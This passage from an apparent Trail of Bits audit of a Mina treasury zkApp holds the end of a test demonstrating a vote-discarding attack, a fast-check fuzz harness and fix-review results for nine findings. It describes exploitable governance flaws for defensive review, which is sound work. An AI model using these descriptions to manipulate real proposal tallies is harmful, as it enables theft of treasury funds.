const treasuryOwnerBalance = Local.getAccount(treasuryOwnerPublicKey).balance;

const treasuryProposalRecipientBalance = Local.getAccount(
  treasuryProposalRecipientPublicKey,
).balance;

Provable.log("testAccountBalance", testAccountBalance);
Provable.log("treasuryOwnerBalance", treasuryOwnerBalance);
Provable.log(
  "treasuryProposalRecipientBalance",
  treasuryProposalRecipientBalance,
);

const expectedTreasuryOwnerBalance =
  treasuryOwnerBalancePreExecution.sub(amountWithBond);
assert(
  treasuryOwnerBalance.toBigInt() === expectedTreasuryOwnerBalance.toBigInt(),
  "Treasury owner balance does not match expected post-execution balance",
);
assert(
  treasuryProposalRecipientBalance.toBigInt() === amountWithBond.toBigInt(),
  "Treasury proposal recipient balance is not the amount with bond",
);
});

```

*Figure H.2: Modified integration test demonstrating the vote discarding attack
(packages/sdk/test/integration/treasury-owner.test.ts)*

I. Fuzz Test

The code below is the property-based fuzz harness we developed during the engagement. It tests all pure functions in the `src/provable` subdirectory using `fast-check`. We ran each property for 100 iterations by default and 1,000 iterations for the arithmetic-heavy `calculateAcceptanceCriteria` tests. The harness can be executed with the following commands:

```
cd packages/sdk
node --loader ts-node/esm --test test/provable/fuzz.test.ts
```

```
/**
 * Property-based fuzz tests for pure functions in src/provable.
 *
 * Run with: node --loader ts-node/esm --test test/provable/fuzz.test.ts
 */
import { describe, it } from "node:test";
import assert from "node:assert";
import fc from "fast-check";
import {
  Bool,
  Field,
  Poseidon,
  PrivateKey,
  PublicKey,
  UInt32,
  UInt64,
  VerificationKey,
} from "o1js";

import {
  hashWithPrefix,
  emptyHashWithPrefix,
  getActionHash,
  appendActionToHashList,
  salt,
  actionsEmptyHash,
} from "../../src/provable/hashing-helpers.js";

import {
  Account,
  Timing,
  Permission,
  Permissions,
  Zkapp,
  append,
  packToFields,
  type RandomOracleInput,
} from "../../src/provable/account.js";
```

```

import { VotingAccount } from "../../src/provable/voting-account.js";

import {
  Vote,
  VoteAction,
  ActionStateHistory,
  ActionStateHistoryTarget,
  VoteReducerPublicInput,
} from "../../src/provable/contracts/treasury-proposal/vote-reducer.js";

import {
  conditionalSwap,
  PrefixedMerkleWitness36,
  type Witness,
} from "../../src/provable/merkle-tree/prefixed-merkle-tree.js";

import {
  MultisigSignature,
  MultisigSignatures,
} from
"../../src/provable/contracts/treasury-pause-controller/multisig-signatures.js";

import { TreasuryProposalSmartContract } from
"../../src/provable/contracts/treasury-proposal/treasury-proposal.js";

// -----
// Helpers
// -----

/** Assert two Field arrays are element-wise equal. */
function assertFieldArraysEqual(a: Field[], b: Field[]) {
  assert.strictEqual(a.length, b.length);
  for (let i = 0; i < a.length; i++) {
    assert.strictEqual(a[i].toString(), b[i].toString());
  }
}

// -----
// Shared arbitraries
// -----

const bigUintN = (bits: number) =>
  fc.bigInt({ min: 0n, max: (1n << BigInt(bits)) - 1n });

const arbField: fc.Arbitrary<Field> = bigUintN(254).map((n) => Field.from(n));

const arbSmallField = (bits: number): fc.Arbitrary<Field> =>
  bigUintN(bits).map((n) => Field.from(n));

const arbUInt64: fc.Arbitrary<UInt64> = bigUintN(64).map((n) =>
  UInt64.from(n),
);

```

```

const arbUInt64Nonzero: fc.Arbitrary<UInt64> = fc
  .bigInt({ min: 1n, max: (1n << 64n) - 1n })
  .map((n) => UInt64.from(n));

const arbUInt32: fc.Arbitrary<UInt32> = bigUIntN(32).map((n) =>
  UInt32.from(n),
);

const arbBool: fc.Arbitrary<Bool> = fc.boolean().map((b) => Bool(b));

const arbPublicKey: fc.Arbitrary<PublicKey> = fc
  .bigInt({ min: 1n, max: (1n << 254n) - 1n })
  .map((n) => PrivateKey.fromBigInt(n).toPublicKey());

const arbPrefix = fc.string({ minLength: 0, maxLength: 30 });

const arbFieldArray = (max = 10): fc.Arbitrary<Field[]> =>
  fc.array(arbField, { maxLength: max });

const arbPacked = (bits = 64, max = 20): fc.Arbitrary<[Field, number][]> =>
  fc.array(
    fc.tuple(arbSmallField(bits), fc.integer({ min: 1, max: bits })) as
    fc.Arbitrary<[Field, number]>,
    { maxLength: max },
  );

const arbPermission: fc.Arbitrary<Permission> = fc.constantFrom(
  Permission.impossible(),
  Permission.none(),
  Permission.proof(),
  Permission.signature(),
  Permission.either(),
);

const arbHistoryTarget: fc.Arbitrary<ActionStateHistoryTarget> = fc
  .tuple(arbField, arbField, arbField, arbField, arbField)
  .map(
    ([a1, a2, a3, a4, a5]) =>
      new ActionStateHistoryTarget({
        actionStateOne: a1,
        actionStateTwo: a2,
        actionStateThree: a3,
        actionStateFour: a4,
        actionStateFive: a5,
      }),
  );

const arbWitness36: fc.Arbitrary<Witness> = fc.array(
  fc.record({ isLeft: fc.boolean(), sibling: arbField }),
  { minLength: 35, maxLength: 35 },
);

// Shared TreasuryProposalSmartContract instance for non-@method tests

```

```

const proposalInstance = new TreasuryProposalSmartContract(
  PrivateKey.random().toPublicKey(),
);

// -----
// hashing-helpers
// -----

describe("hashing-helpers fuzz", () => {
  it("hashWithPrefix is deterministic", () => {
    fc.assert(
      fc.property(arbPrefix, arbFieldArray(), (prefix, fields) => {
        const a = hashWithPrefix(prefix, fields);
        const b = hashWithPrefix(prefix, fields);
        assert.strictEqual(a.toString(), b.toString());
      }),
    );
  });

  it("hashWithPrefix never throws", () => {
    fc.assert(
      fc.property(arbPrefix, arbFieldArray(), (prefix, fields) => {
        hashWithPrefix(prefix, fields);
      }),
    );
  });

  it("different prefixes produce different hashes", () => {
    fc.assert(
      fc.property(arbFieldArray(5), (fields) => {
        const a = hashWithPrefix("prefix_a", fields);
        const b = hashWithPrefix("prefix_b", fields);
        assert.notStrictEqual(a.toString(), b.toString());
      }),
    );
  });

  it("emptyHashWithPrefix is deterministic", () => {
    fc.assert(
      fc.property(arbPrefix, (prefix) => {
        const a = emptyHashWithPrefix(prefix);
        const b = emptyHashWithPrefix(prefix);
        assert.strictEqual(a.toString(), b.toString());
      }),
    );
  });

  it("salt is deterministic", () => {
    fc.assert(
      fc.property(arbPrefix, (prefix) => {
        const a = salt(prefix);
        const b = salt(prefix);
        assert.strictEqual(a[0].toString(), b[0].toString());
      })
    );
  });
});

```

```

    }),
  );
});

it("getActionHash is deterministic", () => {
  fc.assert(
    fc.property(arbFieldArray(), (fields) => {
      const a = getActionHash(fields);
      const b = getActionHash(fields);
      assert.strictEqual(a.toString(), b.toString());
    }),
  );
});

it("appendActionToHashList is deterministic", () => {
  fc.assert(
    fc.property(arbField, arbFieldArray(), (hash, actions) => {
      const a = appendActionToHashList(hash, actions);
      const b = appendActionToHashList(hash, actions);
      assert.strictEqual(a.toString(), b.toString());
    }),
  );
});

it("appendActionToHashList changes the hash", () => {
  fc.assert(
    fc.property(
      arbFieldArray(5).filter((a) => a.length > 0),
      (actions) => {
        const before = actionsEmptyHash;
        const after = appendActionToHashList(before, actions);
        assert.notStrictEqual(before.toString(), after.toString());
      },
    ),
  );
});

// -----
// packToFields
// -----

describe("packToFields fuzz", () => {
  it("never throws for valid packed inputs", () => {
    fc.assert(
      fc.property(arbFieldArray(10), arbPacked(), (fieldElements, packed) => {
        packToFields({ fieldElements, packed });
      }),
    );
  });

  it("output contains all field elements when no packed", () => {
    fc.assert(

```

```

    fc.property(arbFieldArray(10), (fieldElements) => {
      const result = packToFields({ fieldElements, packed: [] });
      assertFieldArraysEqual(result, fieldElements);
    }),
  );
});

it("is deterministic", () => {
  fc.assert(
    fc.property(
      arbFieldArray(5),
      arbPacked(32, 10),
      (fieldElements, packed) => {
        const a = packToFields({ fieldElements, packed });
        const b = packToFields({ fieldElements, packed });
        assertFieldArraysEqual(a, b);
      },
    ),
  );
});

// -----
// append (RandomOracleInput combiner)
// -----

describe("append fuzz", () => {
  it("is associative", () => {
    const arbInput: fc.Arbitrary<RandomOracleInput<Field>> = fc.record({
      fieldElements: arbFieldArray(5),
      packed: arbPacked(32, 5),
    });
    fc.assert(
      fc.property(arbInput, arbInput, arbInput, (a, b, c) => {
        const left = append(append(a, b), c);
        const right = append(a, append(b, c));
        assertFieldArraysEqual(left.fieldElements, right.fieldElements);
        assert.strictEqual(left.packed.length, right.packed.length);
        for (let i = 0; i < left.packed.length; i++) {
          assert.strictEqual(
            left.packed[i][0].toString(),
            right.packed[i][0].toString(),
          );
          assert.strictEqual(left.packed[i][1], right.packed[i][1]);
        }
      }),
    );
  });
});

// -----
// Account
// -----

```

```

describe("Account fuzz", () => {
  it("fromJSON never throws on arbitrary JSON", () => {
    fc.assert(
      fc.property(fc.jsonValue(), (json) => {
        const result = Account.fromJSON(json as any);
        assert.ok(result, "fromJSON should always return an Account");
      }),
    );
  });

  it("fromJSON returns empty Account on garbage input", () => {
    fc.assert(
      fc.property(
        fc.oneof(fc.integer(), fc.string(), fc.constant(null)),
        (json) => {
          const result = Account.fromJSON(json as any);
          const empty = Account.empty();
          const resultHash = Poseidon.hash(Account.toFields(result));
          const emptyHash = Poseidon.hash(Account.toFields(empty));
          assert.strictEqual(resultHash.toString(), emptyHash.toString());
        },
      ),
    );
  });

  it("empty is idempotent", () => {
    const a = Account.empty();
    const b = Account.empty();
    assert.strictEqual(
      Poseidon.hash(Account.toFields(a)).toString(),
      Poseidon.hash(Account.toFields(b)).toString(),
    );
  });

  it("isEmpty detects empty accounts", () => {
    assert.ok(Account.isEmpty(Account.empty()).toBoolean());
  });

  it("toHashInput is deterministic on empty account", () => {
    const empty = Account.empty();
    assertFieldArraysEqual(
      packToFields(Account.toHashInput(empty)),
      packToFields(Account.toHashInput(empty)),
    );
  });
});

// -----
// Permission
// -----

describe("Permission fuzz", () => {

```



```

it("fromString accepts all valid strings", () => {
  for (const name of ["impossible", "none", "proof", "signature", "either"]) {
    assert.ok(Permission.fromString(name));
  }
});

it("fromString throws on invalid strings", () => {
  fc.assert(
    fc.property(
      fc
        .string()
        .filter(
          (s) =>
            ![ "impossible", "none", "proof", "signature", "either" ].includes(s),
        ),
      (s) => {
        assert.throws(() => Permission.fromString(s));
      },
    ),
  );
});

it("toHashInput is deterministic", () => {
  for (const p of [
    Permission.impossible(),
    Permission.none(),
    Permission.proof(),
    Permission.signature(),
    Permission.either(),
  ]) {
    assert.strictEqual(
      Permission.toHashInput(p).packeds.length,
      Permission.toHashInput(p).packeds.length,
    );
  }
});

// -----
// Permissions
// -----

describe("Permissions fuzz", () => {
  const arbPermissions: fc.Arbitrary<Permissions> = fc
    .tuple(
      arbPermission, arbPermission, arbPermission, arbPermission,
      arbPermission, arbPermission, arbPermission, arbUInt32,
      arbPermission, arbPermission, arbPermission, arbPermission,
      arbPermission,
    )
    .map([
      editState, send, receive, access, setDelegate, setPermissions,
      setVerificationKeyPerm, setVerificationKeyVersion,
    ])

```

```

        setZkappUri, editActionState, setTokenSymbol, incrementNonce,
        setVotingFor,
    ]) =>
        new Permissions({
            editState, send, receive, access, setDelegate, setPermissions,
            setVerificationKey: [setVerificationKeyPerm, setVerificationKeyVersion],
            setZkappUri, editActionState, setTokenSymbol, incrementNonce,
            setVotingFor, setTiming: Permission.signature(),
        }),
    );

it("toHashInput never throws on random permissions", () => {
    fc.assert(
        fc.property(arbPermissions, (perms) => {
            Permissions.toHashInput(perms);
        }),
    );
});

it("toHashInput is deterministic", () => {
    fc.assert(
        fc.property(arbPermissions, (perms) => {
            assertFieldArraysEqual(
                packToFields(Permissions.toHashInput(perms)),
                packToFields(Permissions.toHashInput(perms)),
            );
        }),
    );
});

// -----
// Timing
// -----

describe("Timing fuzz", () => {
    it("toHashInput never throws on random Timing values", () => {
        fc.assert(
            fc.property(
                arbBool, arbUInt64, arbUInt32, arbUInt64, arbUInt32, arbUInt64,
                (isTimed, initBal, cliffTime, cliffAmt, vestPeriod, vestInc) => {
                    Timing.toHashInput(new Timing({
                        isTimed, initialMinimumBalance: initBal, cliffTime,
                        cliffAmount: cliffAmt, vestingPeriod: vestPeriod,
                        vestingIncrement: vestInc,
                    }));
                },
            ),
        );
    });
});

// -----

```

```

// Zkapp
// -----

describe("Zkapp fuzz", () => {
  const arbZkapp: fc.Arbitrary<Zkapp> = fc
    .tuple(
      arbField, arbBool, arbSmallField(32),
      fc.array(arbField, { minLength: 5, maxLength: 5 }),
      arbSmallField(32),
      fc.array(arbField, { minLength: 32, maxLength: 32 }),
    )
    .map(([zkappUri, provedState, lastActionSlot, actionState, zkappVersion,
appState]) =>
      new Zkapp({
        zkappUri, provedState, lastActionSlot, actionState, zkappVersion,
        verificationKey: VerificationKey.dummySync(), appState,
      })),
    );

  it("toHashInput never throws", () => {
    fc.assert(
      fc.property(arbZkapp, (zkapp) => { Zkapp.toHashInput(zkapp); }),
      { numRuns: 50 },
    );
  });

  it("toHashInput is deterministic", () => {
    fc.assert(
      fc.property(arbZkapp, (zkapp) => {
        assert.strictEqual(
          Zkapp.toHashInput(zkapp).toString(),
          Zkapp.toHashInput(zkapp).toString(),
        );
      }),
      { numRuns: 50 },
    );
  });

  it("empty Zkapp produces consistent hash", () => {
    assert.strictEqual(
      Zkapp.toHashInput(Zkapp.empty()).toString(),
      Zkapp.toHashInput(Zkapp.empty()).toString(),
    );
  });
});

// -----
// VotingAccount
// -----

describe("VotingAccount fuzz", () => {
  it("isEmpty detects empty VotingAccount", () => {
    assert.ok(VotingAccount.isEmpty(VotingAccount.empty()).toBoolean());
  });
});

```

```

});

it("nonzero balance is not empty", () => {
  fc.assert(
    fc.property(arbUInt64Nonzero, (balance) => {
      assert.ok(!VotingAccount.isEmpty(new VotingAccount({ balance
    })).toBoolean());
    })),
  );
});

it("toHashInput is deterministic", () => {
  fc.assert(
    fc.property(arbUInt64, (balance) => {
      const va = new VotingAccount({ balance });
      assertFieldArraysEqual(
        VotingAccount.toHashInput(va),
        VotingAccount.toHashInput(va),
      );
    })),
  );
});

// -----
// Vote & VoteAction
// -----

describe("Vote fuzz", () => {
  it("assertValid accepts all valid vote values", () => {
    for (const v of [Vote.DUMMY, Vote.YAY, Vote.NAY, Vote.ABSTRAIN]) {
      Vote.assertValid(v);
    }
  });

  it("assertValid rejects invalid vote values", () => {
    fc.assert(
      fc.property(
        fc.bigInt({ min: 4n, max: (1n << 64n) - 1n }),
        (n) => { assert.throws(() => Vote.assertValid(new Vote(n))); },
      ),
    );
  });

  it("isDummy detects dummy actions", () => {
    assert.ok(VoteAction.isDummy(VoteAction.dummy()).toBoolean());
  });

  it("non-dummy actions are not dummy", () => {
    fc.assert(
      fc.property(arbPublicKey, (pk) => {
        assert.ok(!VoteAction.isDummy(new VoteAction({ vote: Vote.YAY, publicKey: pk
      })).toBoolean());
    }));
  });
});

```

```

    }),
  );
});

it("fromJSON never throws", () => {
  fc.assert(
    fc.property(fc.jsonValue(), (json) => {
      assert.ok(VoteAction.fromJSON(json as any));
    }),
  );
});

// -----
// ActionStateHistory & ActionStateHistoryTarget
// -----

describe("ActionStateHistory fuzz", () => {
  it("fromTarget sets all found flags to false", () => {
    fc.assert(
      fc.property(arbHistoryTarget, (target) => {
        const h = ActionStateHistory.fromTarget(target);
        assert.ok(!h.actionStateOne.found.toBoolean());
        assert.ok(!h.actionStateTwo.found.toBoolean());
        assert.ok(!h.actionStateThree.found.toBoolean());
        assert.ok(!h.actionStateFour.found.toBoolean());
        assert.ok(!h.actionStateFive.found.toBoolean());
      }),
    );
  });

  it("clone produces equal history", () => {
    fc.assert(
      fc.property(arbHistoryTarget, (target) => {
        const h = ActionStateHistory.fromTarget(target);
        assert.ok(ActionStateHistory.equals(h,
ActionStateHistory.clone(h)).toBoolean());
      }),
    );
  });

  it("equals is reflexive", () => {
    fc.assert(
      fc.property(arbHistoryTarget, (target) => {
        const h = ActionStateHistory.fromTarget(target);
        assert.ok(ActionStateHistory.equals(h, h).toBoolean());
      }),
    );
  });

  it("different targets produce non-equal histories", () => {
    fc.assert(
      fc.property(arbHistoryTarget, arbHistoryTarget, (t1, t2) => {

```

```

    const eq = ActionStateHistory.equals(
      ActionStateHistory.fromTarget(t1),
      ActionStateHistory.fromTarget(t2),
    ).toBoolean();
    const fieldsMatch =
      t1.actionStateOne.toString() === t2.actionStateOne.toString() &&
      t1.actionStateTwo.toString() === t2.actionStateTwo.toString() &&
      t1.actionStateThree.toString() === t2.actionStateThree.toString() &&
      t1.actionStateFour.toString() === t2.actionStateFour.toString() &&
      t1.actionStateFive.toString() === t2.actionStateFive.toString();
    assert.strictEqual(eq, fieldsMatch);
  }},
);
});
});
});

describe("ActionStateHistoryTarget fuzz", () => {
  it("clone preserves all fields", () => {
    fc.assert(
      fc.property(arbHistoryTarget, (target) => {
        const cloned = ActionStateHistoryTarget.clone(target);
        assert.strictEqual(cloned.actionStateOne.toString(),
          target.actionStateOne.toString());
        assert.strictEqual(cloned.actionStateTwo.toString(),
          target.actionStateTwo.toString());
        assert.strictEqual(cloned.actionStateThree.toString(),
          target.actionStateThree.toString());
        assert.strictEqual(cloned.actionStateFour.toString(),
          target.actionStateFour.toString());
        assert.strictEqual(cloned.actionStateFive.toString(),
          target.actionStateFive.toString());
      }),
    );
  });
});

// -----
// VoteReducerPublicInput
// -----

describe("VoteReducerPublicInput fuzz", () => {
  const arbPublicInput: fc.Arbitrary<VoteReducerPublicInput> = fc
    .tuple(arbField, arbField, arbField, arbHistoryTarget)
    .map(
      ([fromActionsHash, votingLedgerRoot, fromNullifierRoot, target]) =>
        new VoteReducerPublicInput({
          fromActionsHash, votingLedgerRoot, fromNullifierRoot,
          actionStateHistoryTarget: target,
        }),
    );

  it("clone preserves all fields", () => {
    fc.assert(

```

```

        fc.property(arbPublicInput, (input) => {
            assertFieldArraysEqual(
                VoteReducerPublicInput.toFields(VoteReducerPublicInput.clone(input)),
                VoteReducerPublicInput.toFields(input),
            );
        });
    });
});

// -----
// MultisigSignature data builders
// -----

describe("MultisigSignature data builders fuzz", () => {
    it("dataTogglePauseProposal is deterministic", () => {
        fc.assert(
            fc.property(arbPublicKey, arbUInt32, (pk, nonce) => {
                assert.strictEqual(
                    MultisigSignature.dataTogglePauseProposal(pk, nonce).toString(),
                    MultisigSignature.dataTogglePauseProposal(pk, nonce).toString(),
                );
            }),
        );
    });

    it("dataPauseTreasury is deterministic", () => {
        fc.assert(
            fc.property(arbUInt32, (nonce) => {
                assert.strictEqual(
                    MultisigSignature.dataPauseTreasury(nonce).toString(),
                    MultisigSignature.dataPauseTreasury(nonce).toString(),
                );
            }),
        );
    });

    it("dataUnpauseTreasury is deterministic", () => {
        fc.assert(
            fc.property(arbUInt32, (nonce) => {
                assert.strictEqual(
                    MultisigSignature.dataUnpauseTreasury(nonce).toString(),
                    MultisigSignature.dataUnpauseTreasury(nonce).toString(),
                );
            }),
        );
    });

    it("pause and unpause produce different hashes for same nonce", () => {
        fc.assert(
            fc.property(arbUInt32, (nonce) => {
                assert.notStrictEqual(
                    MultisigSignature.dataPauseTreasury(nonce).toString(),

```

```

        MultisigSignature.dataUnpauseTreasury(nonce).toString(),
    );
    });
    );
});

it("dataRotateMultisigKeys is deterministic", () => {
    fc.assert(
        fc.property(arbField, arbField, arbUInt32, (old_, new_, nonce) => {
            assert.strictEqual(
                MultisigSignature.dataRotateMultisigKeys(old_, new_, nonce).toString(),
                MultisigSignature.dataRotateMultisigKeys(old_, new_, nonce).toString(),
            );
        }),
    );
});

it("createCommitment is deterministic", () => {
    fc.assert(
        fc.property(
            fc.array(arbPublicKey, { minLength: 1, maxLength: 5 }),
            (pks) => {
                assert.strictEqual(
                    MultisigSignatures.createCommitment(pks).toString(),
                    MultisigSignatures.createCommitment(pks).toString(),
                );
            },
        ),
    );
});

it("createCommitment differs for different participant orders", () => {
    fc.assert(
        fc.property(arbPublicKey, arbPublicKey, (pk1, pk2) => {
            fc.pre(pk1.toBase58() !== pk2.toBase58());
            assert.notStrictEqual(
                MultisigSignatures.createCommitment([pk1, pk2]).toString(),
                MultisigSignatures.createCommitment([pk2, pk1]).toString(),
            );
        }),
    );
});

// -----
// conditionalSwap
// -----

describe("conditionalSwap fuzz", () => {
    it("swap with true returns [x, y] (identity)", () => {
        fc.assert(
            fc.property(arbField, arbField, (x, y) => {
                const [x_, y_] = conditionalSwap(Bool(true), x, y);
            })
        );
    });
});

```



```

        assert.strictEqual(x_.toString(), x.toString());
        assert.strictEqual(y_.toString(), y.toString());
    }},
    );
});

it("swap with false returns [y, x]", () => {
    fc.assert(
        fc.property(arbField, arbField, (x, y) => {
            const [x_, y_] = conditionalSwap(Bool(false), x, y);
            assert.strictEqual(x_.toString(), y.toString());
            assert.strictEqual(y_.toString(), x.toString());
        }),
    );
});

it("double swap is identity", () => {
    fc.assert(
        fc.property(arbBool, arbField, arbField, (b, x, y) => {
            const [a, b_] = conditionalSwap(b, x, y);
            const [c, d] = conditionalSwap(b, a, b_);
            assert.strictEqual(c.toString(), x.toString());
            assert.strictEqual(d.toString(), y.toString());
        }),
    );
});

// -----
// PrefixedMerkleWitness36
// -----

describe("PrefixedMerkleWitness fuzz", () => {
    const prefixes = Array.from({ length: 35 }, (_, i) => `prefix-${i}`);

    it("calculateRoot is deterministic", () => {
        fc.assert(
            fc.property(arbWitness36, arbField, (witness, leaf) => {
                assert.strictEqual(
                    new PrefixedMerkleWitness36(witness).calculateRoot(leaf,
prefixes).toString(),
                    new PrefixedMerkleWitness36(witness).calculateRoot(leaf,
prefixes).toString(),
                );
            }),
            { numRuns: 50 },
        );
    });

    it("calculateRoot changes when leaf changes", () => {
        fc.assert(
            fc.property(arbWitness36, arbField, arbField, (witness, leaf1, leaf2) => {
                fc.pre(leaf1.toString() !== leaf2.toString());
            })
        );
    });
});

```

```

        const w = new PrefixedMerkleWitness36(witness);
        assert.notStrictEqual(
            w.calculateRoot(leaf1, prefixes).toString(),
            w.calculateRoot(leaf2, prefixes).toString(),
        );
    });
    { numRuns: 50 },
);
});

it("calculateIndex is deterministic", () => {
    fc.assert(
        fc.property(arbWitness36, (witness) => {
            assert.strictEqual(
                new PrefixedMerkleWitness36(witness).calculateIndex().toString(),
                new PrefixedMerkleWitness36(witness).calculateIndex().toString(),
            );
        }),
        { numRuns: 50 },
    );
});

it("calculateIndex is in range [0, 2^35)", () => {
    fc.assert(
        fc.property(arbWitness36, (witness) => {
            const idx = new
PrefixedMerkleWitness36(witness).calculateIndex().toBigInt();
            assert.ok(idx >= 0n && idx < (1n << 35n), `index ${idx} out of range`);
        }),
        { numRuns: 50 },
    );
});

it("all-left witness produces index 0", () => {
    const witness: Witness = Array.from({ length: 35 }, () => ({
        isLeft: true, sibling: Field(0),
    }));
    assert.strictEqual(new
PrefixedMerkleWitness36(witness).calculateIndex().toBigInt(), 0n);
});

it("rejects wrong-length witness", () => {
    const tooShort: Witness = Array.from({ length: 10 }, () => ({
        isLeft: true, sibling: Field(0),
    }));
    assert.throws(() => new PrefixedMerkleWitness36(tooShort));
});

// -----
// calculateAcceptanceCriteria & minUInt64
// -----

```

```

describe("calculateAcceptanceCriteria fuzz", () => {
  it("never throws when treasuryBalance > 0", () => {
    fc.assert(
      fc.property(arbUInt64, arbUInt64Nonzero, (amount, balance) => {
        proposalInstance.calculateAcceptanceCriteria(amount, balance);
      }),
      { numRuns: 1000 },
    );
  });

  it("returns thresholds within basis point range [0, 10000]", () => {
    fc.assert(
      fc.property(arbUInt64, arbUInt64Nonzero, (amount, balance) => {
        const { requiredParticipationBp, requiredApprovalBp } =
          proposalInstance.calculateAcceptanceCriteria(amount, balance);
        assert.ok(requiredParticipationBp.toBigInt() <= 10_000n);
        assert.ok(requiredApprovalBp.toBigInt() <= 10_000n);
      }),
      { numRuns: 1000 },
    );
  });

  it("participation threshold >= MIN_PARTICIPATION_BP (2000)", () => {
    fc.assert(
      fc.property(arbUInt64, arbUInt64Nonzero, (amount, balance) => {
        assert.ok(
          proposalInstance.calculateAcceptanceCriteria(amount, balance)
            .requiredParticipationBp.toBigInt() >= 2_000n,
        );
      }),
      { numRuns: 1000 },
    );
  });

  it("approval threshold >= MIN_APPROVAL_BP (5100)", () => {
    fc.assert(
      fc.property(arbUInt64, arbUInt64Nonzero, (amount, balance) => {
        assert.ok(
          proposalInstance.calculateAcceptanceCriteria(amount, balance)
            .requiredApprovalBp.toBigInt() >= 5_100n,
        );
      }),
      { numRuns: 1000 },
    );
  });

  it("large amount / small balance triggers overflow", () => {
    // Documents the known overflow bug (see TODO on line 100 of
    // treasury-proposal.ts): amount.mul(BASIS_POINTS) overflows UInt64
    try {
      proposalInstance.calculateAcceptanceCriteria(
        UInt64.from((1n << 64n) - 1n), UInt64.from(1n),
      );
    }
  });
});

```

```

    } catch {
      // Expected - UInt64 multiplication overflow
    }
  });
});

describe("minUInt64 fuzz", () => {
  it("returns the smaller of two values", () => {
    fc.assert(
      fc.property(arbUInt64, arbUInt64, (a, b) => {
        const expected = a.toBigInt() < b.toBigInt() ? a : b;
        assert.strictEqual(
          proposalInstance.minUInt64(a, b).toBigInt(),
          expected.toBigInt(),
        );
      }),
    );
  });

  it("is commutative", () => {
    fc.assert(
      fc.property(arbUInt64, arbUInt64, (a, b) => {
        assert.strictEqual(
          proposalInstance.minUInt64(a, b).toBigInt(),
          proposalInstance.minUInt64(b, a).toBigInt(),
        );
      }),
    );
  });

  it("is idempotent", () => {
    fc.assert(
      fc.property(arbUInt64, (a) => {
        assert.strictEqual(proposalInstance.minUInt64(a, a).toBigInt(),
a.toBigInt());
      }),
    );
  });
});

```

Figure I.1: Fuzz test used to find *TOB-MINA-9*

J. Fix Review Results

When undertaking a fix review, Trail of Bits reviews the fixes implemented for issues identified in the original report. This work involves a review of specific areas of the source code and system configuration, not comprehensive analysis of the system.

On June 8, 2026, Trail of Bits reviewed the fixes and mitigations implemented by the Mina Foundation team for the issues identified in this report. We reviewed each fix to determine its effectiveness in resolving the associated issue.

In summary, of the nine issues described in this report, Mina Foundation has resolved two issues, and has not resolved the remaining seven issues. For additional information, please see the [Detailed Fix Review Results](#) below.

ID	Title	Severity	Status
1	Unpausing a proposal resets its status to UNKNOWN, discarding approval or rejection outcomes	Informational	Unresolved
2	Custom multisignature implementation baked into application code	Informational	Unresolved
3	Incomplete action state check allows a malicious prover to manipulate proposal outcomes	High	Resolved
4	All-abstain voting permanently blocks proposal tally	Low	Unresolved
5	No minimum proposal amount allows bond-free proposal spam	Low	Unresolved
6	Signatures are not bound to a specific deployment, enabling cross-deployment replay	Medium	Unresolved
7	Multisignature circuit does not enforce participant key uniqueness	Informational	Unresolved
8	Unchecked actionStateHistoryTarget enables selective vote-tally exclusion	High	Resolved

9	Incomplete error handling in deserialization methods	Informational	Unresolved
---	--	---------------	------------

Detailed Fix Review Results

TOB-MINA-1: Unpausing a proposal resets its status to UNKNOWN, discarding approval or rejection outcomes

Unresolved. The client provided the following context for this finding's fix status:

Proposals can be tallied outside of the cooldown window as well, so resetting the status to UNKNOWN when unpausing does not prevent re-tallying. Existing tally proofs can be re-submitted to update the status to APPROVED/REJECTED again.

Storing the pause status in a separate state field would be preferable, however this is a design trade-off from pre-MESA protocol where the amount of state fields was limited.

TOB-MINA-2: Custom multisignature implementation baked into application code

Unresolved. The client provided the following context for this finding's fix status:

At time of writing, there was no viable external multi-sig contract that we could reuse. We plan to generalize the multi-sig implementation to a separate package, so there'll be a clear boundary between treasury specific operations and generic multi-sig code.

The multi-sig wallet referenced by the finding (zkapp-multisig-wallet) is an unaudited and not maintained project.

TOB-MINA-3: Incomplete action state check allows a malicious prover to manipulate proposal outcomes

Resolved in [commit 71535e9](#). The code now includes the highlighted checks in figure J.1. Note that we could not find a test that exercises the new code. We recommend adding such a test.

```
for (let actionStateIndex = 0; actionStateIndex < actionStates.length;
actionStateIndex++) {
  const actionStateUpdate = AccountUpdate.create(
    proposalPublicKey,
    this.deriveTokenId(),
  );
  const actionState = actionStates[actionStateIndex];

  actionStateUpdate.account.actionState.requireEquals(actionState.hash);
  actionState.found.assertTrue("Action state not found in the merkle list");

  actionState.hash
    .equals(Reducer.initialActionState)
    .not();
```

```

    .assertTrue(
      "Action state hash must not be the initial action state",
    );

    for (
      let compareIndex = actionStateIndex + 1;
      compareIndex < actionStates.length;
      compareIndex++
    ) {
      actionState.hash
        .equals(actionStates[compareIndex].hash)
        .not()
        .assertTrue("Action state hashes must be unique");
    }

    this.approve(actionStateUpdate);
  }

```

Figure J.1: Checks added to the tallyVotes function

([decentralised-treasury/packages/sdk/src/provable/contracts/treasury-owner.ts#L363-L392](#))

TOB-MINA-4: All-abstain voting permanently blocks proposal tally

Unresolved. The client provided the following context for this finding's fix status:

Reason to check for approval votes being more than zero, was to prevent division by zero error in the math that comes after it. We could find a way to allow tallying of all abstain votes, however the current setup does not create any practical issues as the proposal would in fact be rejected, so there's no downstream effects outside of the tally not being provable at this point. Regarding the bond return itself, the current logic only allows refunding the bond for accepted proposals.

TOB-MINA-5: No minimum proposal amount allows bond-free proposal spam

Unresolved. The client provided the following context for this finding's fix status:

We plan to introduce a minimum proposal amount in the future (before mainnet), however we have not addressed this finding yet.

TOB-MINA-6: Signatures are not bound to a specific deployment, enabling cross-deployment replay

Unresolved. The client provided the following context for this finding's fix status:

We plan to add network specific identifiers to the signatures to mitigate this issue, adding a deployment counter or some other unique identifier would also help.

TOB-MINA-7: Multisignature circuit does not enforce participant key uniqueness

Unresolved. The client provided the following context for this finding's fix status:

This would be a great addition, that could prevent operator error and further increase the security of the multisig implementation, we will implement this in the next iteration of improvements.

TOB-MINA-8: Unchecked actionStateHistoryTarget enables selective vote-tally exclusion

Resolved in [commit 71535e9](#). The code now checks the output hash histories, as shown in figure J.2. Like with TOB-MINA-3, we could not find a test of the new code. We recommend adding such a test.

```
// since output hashes are downstream of input hashes,  
// we don't need to check input hashes separately  
output1.actionStateHistory[actionStateKey as keyof ActionStateHistory].hash  
.assertEquals(  
  output2.actionStateHistory[actionStateKey as keyof ActionStateHistory].hash,  
  "Action state hash does not match between merged proofs",  
);
